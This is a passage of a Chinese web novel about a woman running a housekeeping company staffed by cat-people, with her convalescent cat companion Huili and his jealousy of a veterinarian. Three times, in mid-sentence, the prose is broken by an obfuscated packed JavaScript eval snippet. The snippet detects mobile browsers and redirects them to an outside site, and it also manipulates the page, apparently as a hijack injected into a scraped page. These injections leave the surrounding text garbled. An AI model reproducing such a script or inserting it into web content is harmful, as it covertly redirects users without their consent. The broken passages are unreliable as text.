江有鱼目瞪口呆了:“小夜,你在干什么?” 小夜转过头,淡定道:“江老师,你醒了?昨天你照顾了大哥一夜,都没吃东西,肯定饿坏了,我炖了点裙带菜牛肉汤给你喝,现在吃饭吧?” 江有鱼僵硬地看着那锅恐怖的裙带菜牛肉汤,嘴角抽搐,又不想辜负猫猫的好意:“呵呵……谢谢你们。” “谢什么呀,是我们该谢你才对!”小夜贴心地把汤罐端到桌子上,还给江有鱼盛了一碗饭,把勺子塞在她手里,一脸期待地看着她。 盛情难却,江有鱼只好抱着大无畏之心,往餐椅上坐,结果屁股刚挨着椅子,便觉得下面有个毛茸茸的东西在动,吓得赶快蹿起来。 一个毛团从餐椅上站起来,委屈地抖抖毛,开始舔自己被压痛的爪子,正是小雪。 小夜忙道:“不好意思,她刚刚打扫了一下午卫生,这才随便找了个地方就躺下了,吓着你了吧?” 江有鱼放下心来:“是我说对不起才对,不好意思啊,没有看见你。” 小雪的个性温柔安静,摇了摇头示意没关系,跳离餐椅,找别的地方睡觉去了 这次,江有鱼反复确认了椅子上没有猫,这才坐下,舀起汤喝了一口,一瞬间表情极为精彩。 怎么说呢……反正跟裙带菜汤是完全没有关系,又酸又咸,如果把它当成某种下饭酱的半成品,倒是可以。 反正只是调味怪了些,又吃不死,江有鱼努力扒了两口饭,将那一口“汤”咽下去,强行露出笑容:“……做得不错。” 小夜察言观色,尾巴垂下去了:“江老师,你的脸扭曲了,这汤有什么问题吗?” 江有鱼最看不得小猫咪失落,连忙道:“不是汤的问题!是我的问题……我睡落枕了,所以脖子疼,这才表情扭曲的。” 她话音刚落,便觉得有人在她脖子上捏了一把:“落枕?是不是这里疼?” 他捏得正是地方,江有鱼疼地嗷了一声,差点从椅子上弹起来。她扭头一看,下毒爪的居然是小二。 她怒道:“做什么?好痛啊!” 小二委屈道:“我知道你痛,这不是在帮你按摩吗?家政老师说,只要按摩一会儿,就不会痛了!” 他一边给江有鱼推拿肩颈,一边碎碎念道:“家政老师说,我力气大,很适合做按摩师。听说按摩师的工资很高,比保洁还高,我会努力干活,把大哥的医药费赚回来的!” 小夜也斗志满满:“没错,家政老师说,保洁的工资是最低的,我的目标是做一个上门厨师,我已经在学习各种菜谱啦!” “以后我会成为一个有招牌菜的上门私厨,每服务一次就能赚几千元!” 小雪在旁边蜷缩成一个团,细声道:“大哥不在的时候,我会带大家去做保洁的,大哥能做的我都能做,我们会帮你赚钱的。” 群猫被带动,争先恐后地表起态来:“我的性格很温柔,我可以帮忙看孩子,做育儿师!” “我可以继续钻研捉老鼠技能,当捕鼠师傅!” “我、我长得好看,老师说我可以作执事!” 猫咪们说个不停,千言万语,都化成一句话:一定努力学习,认真学习,早日帮助江有鱼还清信用卡! 在猫猫们的包围中,江有鱼举目四顾。 地板地毯,都被小雪打扫得干干净净的;厨房里,虽然汤的调味差了点,但是牛肉切得整齐漂亮。 而她肩颈的疼痛,居然也真的在小二手下舒缓了不少。 江有鱼想,这些小猫,一定会成为世界上最好的家政的。 她焦躁的心情,被这些小猫安抚下来,关关难过关关过,有这么多小猫的帮助,她自信一定能把钱都还清的。 大家表完态之后,在小二的带领下,一窝蜂回到地下室学习去了,这次不用谁来督促,地下室也不断传来读书练习的声音。 只有小雪等十几只猫留了下来,这似乎是猫猫们商量好的,由小雪代替灰狸去干活,黎明家政公司不能因为灰狸的倒下停摆。 既如此,江有鱼也不客气了,她把自己接到的单子都给了小雪,小雪确认了时间地点后,便带着猫猫们出门上工去了。 保洁工作并不难,以小雪那安静沉稳的样子,应该能搞得定吧? 不过她也顾不上这些了,现在最重要的是护理病号,公司什么的,就由着猫猫们折腾去吧,了不起就是拿差评。 江有鱼匆匆把饭吃完,煲了一锅猪肝粥,去医院看灰狸了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136631|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰狸正枕着那个老鼠玩偶躺在笼子里,护士们看他那乖巧的样子,都想伸手摸摸他,却被灰狸哈气吓回去了。 不准摸不准摸!男猫的头可是很重要的,除了老婆谁都不能碰! 这么虚弱还这么凶悍的小猫,前所未见,护士们都讪讪地收回手去。 正在这时,江有鱼提着一个保温器来了:“灰狸,今天怎么样啊?” 灰狸的眼睛一下就亮了,虽然没有力气,但还是努力仰起头去找她:“喵~” 这一嗓子,甜过蜜糖,护士们目瞪口呆了。 话说这跟刚刚那个凶猫,当真是一只猫吗?这猫怎么看人下菜碟呢? 灰狸才不管她们想什么,伸出爪子扒拉笼门:“你来了?我好想你,你白天都去哪里了?” 江有鱼打开笼子把他抱出来:“不好意思,我回家睡了一觉,看,我给你煮了猪肝粥,里面还放了小块的猪血,对你现在的身体很好哦!” 她把保温器里的粥给护士检查了一遍,确认灰狸现在可以吃流食,这才把粥喂给他喝。 灰狸早就饿坏了,他把脸扎进保温器里面埋头痛吃。齐睿思恰好来查房,看灰狸吃饭吃得很香的样子,也露出了浅浅的笑容:“这么能吃,状态真不错。” 说罢,齐睿思探头往保温器里看了一眼,认出是猪肝粥,赞赏道:“这个食谱很好,又能补充液体,对贫血症状也有好处,还清淡好消化,你对小猫很用心啊。” 江有鱼笑笑:“这都是应该做的。” 齐睿思:“哪里,好多宠物主人能给猫花钱,但是却不会对他们用心,能给生病的猫亲手熬粥,你这样的主人可是很少见的,我整个从业生涯也没见过几个。” 灰狸一边喝粥,心里也深以为然。江有鱼当然是世界上最好的,阿橘的主人对他也很好,但是阿橘也只能吃到猫粮猫罐头,从来没吃过他主人亲手煮的饭呢! 齐睿思看灰狸喝了粥,精神恢复不错的样子,也忍不住伸手,想要摸摸他的头。 灰狸烦不胜烦,耳朵抖了抖,正想要哈气,便看见江有鱼挡住了医生:“灰狸脾气不好,您别摸了,小心他伤到你。” 齐睿思看一眼江有鱼手上还没结痂的伤口,顿了顿,把手收了回去:“我欠考虑了,多谢提醒。这猫脾气这么坏,你还愿意对他好?” 江有鱼疼惜地摸摸灰狸的毛,灰狸惬意地呼噜起来:“灰狸只是对外人警惕心强一点,他从来不让除我之外的人摸,平常是不会咬我的。” 她说得兴起,把灰狸打倒杀人犯、夺得好猫冠军等事情都说了出来,齐睿思听了也颇为惊叹:“看不出来是这么有名气的小猫,难怪你对他这么上心。” “就算他什么名气都没有,我也得好好照顾他呀。”江有鱼亲昵地刮了刮灰狸的鼻子,“因为灰狸很喜欢我,对不对,灰狸?” 灰狸蹭着她的手撒娇,声音甜如蜜:“是呀。” 齐睿思做了七年兽医,见多了人猫情深的场面,但是被宠爱的猫,无不是甜美乖巧的品种猫。 即使这样,一旦诊金超过了他们的身价,大部分主人也不愿医治,比起砸钱在病猫身上,他们宁愿选择再买一只。 像是江有鱼这样,只因小猫很爱她,就愿意对一只残疾、脾气坏、没有血统的土猫这么好的人,齐睿思只见过她一个。 看着她柔声哄灰狸多吃一点的样子,齐睿思愣了片刻,一贯冷静淡漠的神色,居然不知不觉温柔了下来。 55.灰狸出院了 接下来几天,江有鱼把学校的事情完全丢开,一心在医院陪伴灰狸。 她本以为最近黎明家政的生意肯定要下跌,八成还会挨差评,谁想到,小雪居然干得很不错,江有鱼连续接到的都是五星好评! 甚至得到好评还不算,居然有个客人敲锣打鼓地来找江有鱼,还给她封了大红包。 江有鱼疑惑不已,一问才知道,小雪在他们家做保洁的时候,居然还意外救了他家的婴儿! 客人痛哭流涕:“当时我们不在家,请的育儿嫂又睡着了,我家孩子忽然吐奶,呛得窒息了都没人处理,多亏您的保洁听到动静,给宝宝做了人工呼吸,要不然……” 小雪害羞道:“这没什么的,只是我的耳朵灵一点,而且我很喜欢宝宝……” 女猫是有集体抚养传统的,对于所有的幼崽都会本能地照看,小雪也不例外。只是她的举动,对于客人一家来说可是救命之恩,客人死活要让孩子认小雪做干妈。 还有,客人已经把不靠谱的育儿嫂辞掉了,他们现在对黎明家政公司好感很高,一直在询问这里有没有育儿嫂服务。 江有鱼:“现在没有,但是很快就会有了,要是您有意愿的话,不妨留个联系方式?” 客人欣然做了登记,他们走后,江有鱼火速敦促小雪:“从今天起,你先不要去做保洁了,把活给别人干,你把所有脾气好的母猫都挑出来,开始学习育儿嫂课程!” 小雪不明所以,但还是乖乖点头。 江有鱼则是意气风发,育儿嫂,那可是整个家政行业的摇钱树,一个住家育儿嫂,一个月就能拿八千薪水,她怎么早没想到呢? 母猫们天生对宝宝非常友好,且夜间也不需要睡觉,正是天选的育儿嫂啊!只要能把她们培养出来,家政公司就彻底发达啦! 想到这里,她火速给黎明家政公司的未来勾画了清晰的蓝图。 首先,基础业务还是保洁、捕鼠两大块,所有小猫都能上岗,但是那只能赚个温饱,要想多赚钱,还得开拓一些高级的赛道。 她也效法灰狸,为黎明会的猫们分了组,只能掌握五百个字,对学习没有兴趣的小猫,就继续做保洁跟捕鼠工作;至于资质更好,愿意挑战自我的猫,就编入高级家政班。 江有鱼思来想去,确定了三个高级家政班:小雪带领的育儿嫂班、小夜带领的私厨班、小二带领的按摩师班。 这三个职业上,猫猫都有独特的优势,能准确捕捉宝宝需求的灵敏耳朵、能清晰分辨食材新鲜度的鼻子、还有快到肉眼捕捉不到的手速…… 江有鱼相信,等到猫学徒们都出师的那天,云朵市家政行业将会掀起一阵巨浪! 一个星期后,灰狸指标恢复正常,顺利地出院了。等到他回家时,愕然发现,家里已经大变样啦! 曾经要靠他巴掌鞭策才能学习的小猫们,现在个个学习得可认真啦! 而且他们的课程已经不局限于写字算数,而是《高级育婴师从入门到精通》、《食物与厨艺》、《按摩师培训手册》等深奥书籍,可比灰狸之前研读的《家常菜一百道》难多了! 怎么他才住院一个星期,世界就大变样了?灰狸歪在沙发上,看看这个又看看那个,理解不能。 不过,灰狸很快就发现,这不是什么好现象,是……噩梦来的。 灰狸虽然出院,但是依然虚弱,四肢软软没有力气,医生明确嘱咐,他需要卧床静养。江有鱼平时要上班,也不能贴身照顾他,护理病号的工作,便落到了小二他们身上。 小二等猫自然摩拳擦掌,学了那么多伺候人的技艺,这大好的应用机会,哪能放过? 于是,灰狸就这么过上了被众猫“护理”的日子。 清早,江有鱼起床上班去了,灰狸留在床上睡懒觉,然而小二却不给他机会。他咣当一下撞开大门,率领十二三个按摩师猫,把灰狸抬到了一张按摩床上。 灰狸被他们面朝下放在按摩床上,脸卡在那个洞里,十分疑惑:“你们要干什么哟?” 小二:“大哥,书上说经常躺在床上会肌肉萎缩的,我们来帮你复健肌肉!” 灰狸:“???可是我才卧床了一小时啊……” 小二捏紧拳头:“大哥,这叫防患于未然!放松身体配合我们,我们会让你健康起来的!” 说罢,小二撸起袖子,元气满满道:“今天我们先来练习‘叩击’手法,动手!” 灰狸瞬间感到几十双笨爪子像是雨点一样,往自己的后背上猛敲,若不是他身体强壮,这一下估计就要打吐血了。 他被敲的说话都带颤音:“轻一点!轻一点!” 小二也在嗷吼:“不要瞎敲!要按照人体的经络与穴位来敲!大哥这种情况,要按摩手三阴经跟足三阴经!” 一猫憨憨道:“小二班长,手三阴跟足三阴在哪里?” 小二恨铁不成钢:“真笨呀,书上都有讲过的,你肯定是没有好好复习功课!” “我复习了,可是书上画的跟人的身体不太一样么……” 这倒也是,小二转转眼睛,把灰狸的上衣扒了,露出那光光的脊背:“大哥,就只好委屈你了!” 灰狸尾巴毛都炸起来了:“你、你们干嘛?” 他还没问完,便觉脊背一凉,小二拿出一支水笔,在他身上把穴位图给标注了出来:“这是足三里、这是曲池、这是血海、这是劳宫……都记住了?现在,就按图索骥吧!” 小二翻着书,下达了指令:“大黄,接下来请帮大哥推拿十次右腿,重点按揉血海、三阴交、足三里!” 大黄领命,笨爪子握住灰狸右腿,用力一掰。 灰狸:“啊————!!!” 两个小时后,按摩班在灰狸身上得到了充足的锻炼,灰狸也四肢瘫软,肌肉疼痛,几乎只剩一口气了。 这时,小雪带着一群女猫进来,关心道:“大哥,你这是怎么了?你还好吗?” 灰狸忧郁地垂着尾巴:“小雪,我不好,快把我……” 他本想说“快把我送回床上去”,却被小雪给打断了。 她居然也把灰狸当成教具,对着身后提问了:“同学们,如果宝宝出现抑郁、哭泣等不开心的状态,我们要怎么做呢?” 一只漂亮的玳瑁猫举爪回答了:“播放音乐!做抚触操!” 小雪:“很好地回答,那么,今天我们就来实践一下吧?” 她一边做抚触准备,一边念念有词:“首先,育婴师准备,衣帽整洁,指甲修剪无染色,温度适宜,光线明亮,操作用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143128|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物齐全……” 玳瑁再次提醒:“班长,还没放音乐呢!” 小雪:“谢谢你提醒,那我们就来点欢快的音乐,跟宝宝一起跳起来吧!” 她打开电视,播放起一首轻快儿歌:“爱我你就陪陪我,爱我你就亲亲我~” 伴随着欢快的音乐,小雪把婴儿油涂在灰狸背上,开始做抚触,也跟着哼唱起来:“爱我你就夸夸我,爱我你就抱抱我~” 婴儿油滑腻冰凉,弄得灰狸一阵阵发痒,又不好意思笑,忍得全身抽搐。 小雪练习完了抚触操,又叫所有女猫都来尝试一遍,灰狸浑身上下都被涂满了婴儿油,感觉耻感爆表,毫无尊严。 这群女猫拿他当了抚触操道具还不算,居然还拿他练习换尿布的手艺,等到她们也满足地离去,灰狸浑身狼藉,湿答答地躺在按摩床上,只觉心如死灰。 这会儿,已经是中午,他被折腾了一上午,肚子饿得咕咕叫。 一双温暖的手把他从按摩床上扶起来:“大哥,你饿了吗?” 灰狸无精打采地应了一声,想起这一上午的折磨,忽然觉得不好,连忙闭上了嘴巴。 果然,身边出现的是小夜率领的私厨班,个个眼睛亮晶晶的,手里捧着一堆看上去就很恐怖的食物,期待地望着他。 “你、你们又要做什么?” 小夜呵呵一笑:“大哥,该吃饭了。” 于是,那一天中午,灰狸吃了半生不熟的牛肉、焦黑成碳的烤鱼和调味过咸的浓汤,唯一能入口的食物,就是小夜做的“生鱼片”,完全不用烹饪,切好了就行。 灰狸吃着生鱼片,泪流满面。他有点后悔这么快就出院了,其实住院的生活也挺好,不是么? 当江有鱼下班回来时,看到的就是躺在床上,只剩一口气的灰狸,大惊失色:“你怎么啦?” 灰狸仰头在床上,眼神空洞,把自己这一天的遭遇都说了。 江有鱼承认,这个时候笑简直太不道德了,但是她实在忍不住,在听到抚触操那段,终于坐倒在床,放声大笑起来。 她笑了两分多钟,连眼泪都出来了,最终,她终于调整了情绪:“这也太不像话了,虽然他们好学是好事情,但是也不能这么折腾病号……我找他们说说去!” 灰狸却拉住她的手,摇了摇头:“算了,现在我这副样子,帮不上你什么忙,能给他们做教具,让他们快点掌握家政技能,也算是我的贡献了。” 江有鱼担心地摸摸他的脸:“你也不要太逞强,你的身体是最要紧的,明白吗?” 灰狸撒娇地蹭着她的手:“没关系,好猫不是要尽量帮助别人吗?江有鱼,我表现的好不好呀?” 江有鱼的心都要被他蹭化了:“当然好啦,你是最棒最棒的好猫呀~你想要什么奖励?” 灰狸趁机要求:“那……我以后可以叫你小鱼吗?” 他的目光含羞带怯,定定地凝望她的脸,千言万语,尽在不言中。 江有鱼怔了怔,随后,她脸上绽放出一个大大的笑容:“好呀~” 灰狸开心地捏紧了她的手指,眼眸如醉,亮晶晶的,多少热烈的喜欢,都凝聚在这两个字里:“小鱼!” 江有鱼俯身,吻了吻他的嘴唇:“我在,小狸。” 56.宠物的术后护理 这是江有鱼第一次主动地亲吻他。 灰狸怔住了,他觉得尾巴根痒痒的,一股酥麻麻的感觉从他的尾椎骨窜起,一直窜上了他的脑门,让他的嘴唇都不受控地哆嗦起来。 他好喜欢这种感觉,就像是在春天的花园里酣睡时,一只美丽的蝴蝶忽然停在他的鼻尖,他连大气都不敢喘,生怕惊醒了这梦幻般的一刻。 可身体的本能是他无法克制的,猫的本性就是将他所钟爱的东西扑在爪中,灰狸的双手猛然揽上江有鱼的身体,将她压倒在床上,用力地亲吻起来。 他把她揽得很紧,健硕的身躯像是一堵墙,将她与世界分割开来,她抬眼望去,只能见到他。他俯身望去,也只能看到她。 江有鱼揽住灰狸的头颈,主动地加深了这个吻。 漆黑的夜里,他们的唇齿交汇,世界在融化,蝴蝶在飞。 不知道过了多久,可能是十分钟,也可能是半个小时,灰狸才恋恋不舍地离开她的唇齿,把头埋在她肩窝里,轻声喘息。 江有鱼抚摸着他的手臂,笑道:“不是说没有力气了吗?我看你有力气得很。” “白天确实是没有力气的,不过,你一亲我,我忽然就觉得很有力气……”灰狸迷迷糊糊,“小鱼,你的嘴巴一定有魔法,是不是?你能够治好我……” 他嘟起嘴巴,在她脸上挨挨蹭蹭:“亲吻的感觉很好,让我再吻你一下……” 撒娇大猫什么的,真是抵挡不住,江有鱼也完全不想抵挡,见他的嘴唇欺近,自己也闭上眼睛。 灰狸感觉这就是猫生最幸福的时刻了。 他还没有忘记,江有鱼说过,亲吻只能发生在相爱的人之间。而现在,江有鱼不再抗拒他的亲吻,这说明什么?他对她来说,终于产生不同的意义了吗? 仅仅是想到这个可能性,就足以让灰狸的心跳飙升到两百下,他晕陶陶地俯身,亲吻她的脸颊、嘴唇、脖颈…… 江有鱼却捧住了他的脸:“脖子不行……” 灰狸迷惑不已,哑着嗓子问道:“为什么?” 江有鱼脸颊滚烫,正想要给小猫咪科普一些成年人的知识,忽然手机铃声响起,她连忙推开身上的灰狸,爬起来接电话:“喂?” 她一开口,便被自己声音中的喑哑之意吓了一跳,连忙掩饰性地咳了两声。 电话那一头却是齐睿思:“江小姐,打扰了,你……在忙吗?” 江有鱼连忙道:“没事,不忙。齐医生,找我有什么事?是灰狸的身体有问题吗?” 医生? 灰狸原本很不爽,自己的亲吻被打断,但一听到这两个字,耳朵尖立刻动了动,竖起耳朵仔细听。 他害怕齐医生又把自己拉回去住院,住院只能睡笼子,还要每天扎针,也不能跟小鱼这样亲亲抱抱,鬼才要回去呢! 齐睿思:“不,你别担心,我既然同意他出院,就不会有问题。我打电话是想问你,近期有一个动物医学讲座,是讲术后动物营养补充的,我想你会有需要。怎样,你想不想听?” 江有鱼瞟一眼灰狸,觉得他大病一场后,确实瘦了些,她虽然懂得人类的补养学问,但谁知道猫的营养学跟人类是否相同呢? 她当即点头答应:“多谢你通知我,我一定去。讲座什么时候开始?” 齐睿思的话语带上三分笑意:“就知道你会来。周三下午五点,你到医院办公室找我就好。” 江有鱼连忙感谢了几句,挂断了电话,回头就看见灰狸气鼓鼓地望着她:“你周三晚上要出去?那晚上谁来陪我呢?” 江有鱼跟他讲道理:“你现在很虚弱,正好有个进修营养学的机会,我肯定要去,学会了我回家给你做好吃的,你也不想每天都被小夜荼毒吧。” 好吧,算她说得有理,灰狸无奈地捏着她的手指头:“那你晚上还回来陪我睡觉吗?” “当然会回来呀,我怎么会放着这么可爱的小猫不管呢?” 一番哄劝后,灰狸勉强接受了这个事实,江有鱼抱着这颗大猫头,越发感觉到,灰狸其实是个超级黏人的小猫。 周三下午五点,她准时到达动物医院,齐睿思已经在那里等着她,居然没穿白大褂,只穿一件质地良好的黑衬衫,显得整个人更加挺拔清俊。 看她来了,齐睿思笑着打个招呼,便领着她向外走去。 江有鱼疑道:“咦?不是听讲座吗?还往外走做什么?” 齐睿思目不斜视:“讲座不在医院举行,而是在我的母校庆云大学。这次请到了国内首屈一指的专家,导师也叫我回去听听。” 庆云大学可是国内数一数二的学府,在这种名校里举办的专家讲座,肯定很高端吧?江有鱼一时间有点露怯:“这么学术,我可不一定能听懂啊。” 齐睿思认真解释道:“不会的,那位专家的讲座风格非常平易近人,很少用学术名词。” 他瞟了江有鱼一眼,补充道:“我就坐在你旁边,如果你有听不懂的,直接问我就好。” 江有鱼顿时放下心来,齐睿思带她上了自己的车,那是一辆低调沉稳的沃尔沃,外观简洁,车内却有很多可爱的内饰,连方向盘上都被贴着一圈小粉花。 见到江有鱼惊讶的目光,齐睿思无奈一笑:“是我妹妹弄的,小孩子就喜欢这些东西。” “齐医生还有妹妹?” “是啊,比我小了二十岁,我上大学后父母觉得寂寞,就又生了她,今年还在读小学呢。” 江有鱼坐上副驾驶:“那您家里只有四口人吧?那买个五座车不就行了,为什么要买七座车?多费油啊?” “现在家里是四口人,将来不会永远是四口人啊,与其到那时换车,不如一步到位。” 江有鱼在心中默算:“说得也是,这样将来您结了婚,还能带上妻子跟两个孩子呢。” 齐睿思却摇摇头:“干嘛要两个孩子那么多?我最多带一个妻子,剩下的两个位置,可以带一只猫和一只狗。” 看不出还是个丁克,紧跟时代潮流啊。 江有鱼好奇道:“那您父母就不反对吗?” “我爸妈很开明,他们现在带我妹妹就累得要死了,悔不当初。我结不结婚,丁不丁克,他们哪有精力管。” 江有鱼叹息道:“真羡慕你有这么好的父母,我就不行了,我家爸妈催我找对象催得厉害,每次见到我的面都要唠叨。” 齐睿思挂挡起步,平稳地开出停车场:“每代人的想法不一样,婚恋观念没有好坏之分,只是个人选择而已,我们也要尊重他们的表达权,只要抓紧决策权就好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146009|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江有鱼扑哧一笑:“那不就是当耳旁风?亏你说得那么清新脱俗。” 齐睿思两眼紧盯前方,但嘴角也扬起了一个微小的弧度:“耳旁风那是你说的,可别污蔑我啊。” 这么说笑一番,两个人的感觉也拉近了不少。齐睿思开车技术很好,跟他这个人一样稳重,很快,车子就开到了庆云大学,齐睿思出示了校友卡,门口保安这才放行。 此时,报告厅已经是人山人海,看来知名教授的课程确实有吸引力。不过齐睿思年纪大些,一看就不是学生,大家都把他当成老师了,纷纷让路。 江有鱼也得以跟着蹭到一个好座位,她对这次的讲座可是很认真的,从包里掏出笔记本,打算认真记录。 讲座真的跟齐睿思所说的一样,专家平易近人,妙语如珠,整个讲座的氛围十分轻松,干货又足。 江有鱼一边笑,一边记笔记,觉得自己有了不少收获,她决定回去就给灰狸买些营养补剂,不能单靠食物来补充营养。 讲座结束,已经是晚上九点多了,齐睿思十分绅士风度地送她回家,江有鱼在车上就开始翻看购物网站,把专家刚刚讲的营养补剂都拖进购物车。 齐睿思一边开车,一边瞟了一眼她的手机屏幕:“现在就开始买了?你对你的猫真好。” 江有鱼正在专心比几家店的价格,脱口道:“不对他好还对谁好?” 齐睿思讶然挑眉。 江有鱼这才惊觉自己失言,往回找补:“……毕竟他是我在云朵市唯一的家人嘛。” 齐睿思笑道:“也是,你不是本地人,自己在异乡,肯定很寂寞,你的猫应该给了你不少安慰吧?” 提起灰狸,江有鱼的话就多起来了,她跟齐睿思讲了许多灰狸的趣事,还把自己喵知道上的帖子分享给齐睿思看。 齐睿思正在开车,不方便看手机,便道:“你直接发我微信吧,我回家慢慢看。” 不多时,车子便开回了有鱼猫德学院。江有鱼下车,早就等在门口的灰狸立刻高高竖起尾巴迎了过来:“小鱼!你回来了!” 灰狸走到近前,才发现车里还坐着一个男人,正是动物医院的齐医生,顿时有点不高兴了。 平心而论,齐医生并不是个讨厌的人类,相反,他性格稳定,温和有礼,是很招小猫喜欢的那种人,但灰狸不知道怎么,就是非常不喜欢他。 他拽着江有鱼的袖子:“你晚上不是要去听讲座的吗?怎么反而跟他一起出去了?你骗我!” 江有鱼觉得有些尴尬:“别这样,今天的讲座在庆云大学里举办,没有齐医生带我,我进不去的。” 灰狸依旧不满,他气哼哼地望了望齐睿思,拉着江有鱼的手就往屋里拽去:“现在讲座也听完了,可以进屋陪我了吧!” 江有鱼更加尴尬了,她挣开灰狸的手:“小狸,要有礼貌!起码要让我跟齐医生道个别!” 灰狸不耐烦地甩着尾巴,最终看在那句“小狸”的面子上,还是放了手。江有鱼对齐睿思道歉道:“不好意思,他平常其实不是这样的……” 齐睿思丝毫不以为忤:“正常,小动物对兽医都喜欢不起来。我都见多了,不用太在意。天也不早了,你回去吧。” 他对江有鱼挥挥手,摇上车窗离开了。 57.家政猫出师啦! 灰狸气鼓鼓把江有鱼拉回卧室,一把抱住她,用脸颊拼命蹭她的身子。 江有鱼很无奈:“你这是怎么啦?” 灰狸不高兴地嚷嚷:“你身上有他的消毒水味道!你们单独相处了对不对?” “我只是坐他的车回来而已……” 灰狸不相信:“电视里演过的,一男一女坐一辆车回来,然后他们就会变成老公和老婆!” 小猫咪对人类关系的理解真单纯,江有鱼被他逗得大笑:“你还挺会安排剧情,可惜啊,我同意人家齐医生还不同意呢。” “什么???你、你同意???”灰狸炸毛了,委屈地喵喵,“你要做他的老婆吗?难道你最喜欢的不是我了吗?” 吃醋小猫什么的,江有鱼完全无法抵抗,她举手投降了:“我就是打个比方,不是那个意思呀!我最喜欢的当然是你!” 她掏出手机,给灰狸看自己的购物车:“你瞧,我可是很认真地听课,就盼着你能快快好起来呢!” 灰狸看着江有鱼的购买记录,尾巴左摇右摆,终于开心了一些:“听讲座的时候,也只想着我,没有瞧那个齐医生吗?” “我瞧他做什么?再说,人家也在认真听讲呢,你别想太多。人类之间是有正常交往的,一男一女共坐一辆车什么都不算,你不能做无理取闹的小猫哦。” 灰狸接受了这个解释,但还是不放心地叮嘱:“你不可以跟他亲亲!” 江有鱼哭笑不得:“知道了知道了。” 灰狸瞧着屏幕,谁知这时候,一条微信弹窗刷出来。 齐睿思:我关注你的喵知道了,主页的帖子我也看过一遍了,你的猫果然像你刚刚说的一样可爱。 灰狸的脸色再次阴沉下去:“你们说了很多话吗?” “啊……既然都坐人家的车了,总不能什么话都不说吧,那多尴尬啊。”江有鱼表示这都可以解释,“你看,我跟他只聊了你,也没说别的。” 灰狸盯着手机屏幕,明明江有鱼跟那个齐睿思的聊天没有一点暧昧,却莫名地让他很不高兴。 手机又一响,灰狸抢先一步点开微信弹窗,这次齐睿思发来的居然是一张照片。 那是在夏日的海滨,深蓝的海水卷着洁白的浪花,高大的椰子树传递着南国风情,齐睿思穿着一条泳裤,露出紧实漂亮的腹肌,怀里圈着一只大金毛,一人一狗都笑得灿烂无比。 齐睿思:这是我的宠物,名字叫做lucky,脾气很温和,和所有动物都相处得很好,我想它可以跟灰狸做个朋友。 灰狸气地握紧拳头,恨不能一爪打在那张傻狗脸上,把那碍眼的笑容打掉。 他最讨厌狗了!还讨厌别人把他当成猫,尤其讨厌齐医生把他当成猫! 他才不跟狗交朋友呢,更别提那还是齐医生的狗,灰狸气哼哼把下巴搭在江有鱼肩膀上,看她会回复什么。 江有鱼出于礼貌,在打字框里输入:好的,有机会的话一定—— 她还没输入完,背后便伸出一只手,把她打的字都删除了。灰狸不满地表示:“我不跟他的狗当朋友!” 说罢,灰狸抢过手机,自顾自地输入:傻狗滚开!点击了发送键。 江有鱼大惊,连忙抢回手机,把那句话撤回,好在齐医生应该没看见。 灰狸又在床上撒泼打滚起来:“为什么撤回我的话?” 江有鱼头大如斗:“这样说话太没礼貌了,违反我们人类的社交礼仪!” 灰狸打滚:“我不管不管!反正我要让那条傻狗跟它的主人有多远滚多远!” 江有鱼被逼无奈,只好回复道:谢谢你的好意,不过灰狸不喜欢狗,只能交猫朋友,为了lucky的健康着想,还是不要让他们见面的好【捂脸笑】 好在齐睿思应当也是一时兴起,之后就没再回复了,江有鱼费了半天的口舌,这才把吃醋的猫哄好。 夜晚,江有鱼已经在灰狸怀里睡沉了,枕头边,她的手机却忽然亮起。 灰狸警惕地睁开眼睛,拿起手机一看,居然还是齐睿思发来的微信图片。 这一次,他发来的是几只奶猫的图片:我最近也在考虑养猫呢,你觉得哪只会更讨喜一点?也可以让灰狸来帮我把关,小猫肯定更懂小猫【微笑】。 灰狸看着那屏幕上的千娇百媚的小猫咪,磨了磨牙。 就知道这个齐医生不简单,他这是想靠小猫咪来拉近跟江有鱼的距离吗?没门! 灰狸直接将收到的两条信息删掉,把手机锁屏,恨恨地塞回枕头下,这样,江有鱼就永远不会知道了。 想要从猫爪下夺走他的小鱼,那是绝对不可能的! 灰狸收紧手臂,把江有鱼抱得更紧了些,心想:谁敢来跟他抢,他就把谁挠得满脸开花! 除了出现齐医生这个插曲,灰狸对自己的生活还是很满意的。 一切都在缓慢地变好,他的身体逐渐恢复,众猫的家政技巧也在他的献身之下步步提高,很快,就到了家政猫们出师的日子了。 今天是个大日子,是江有鱼开拓新业务的日子。 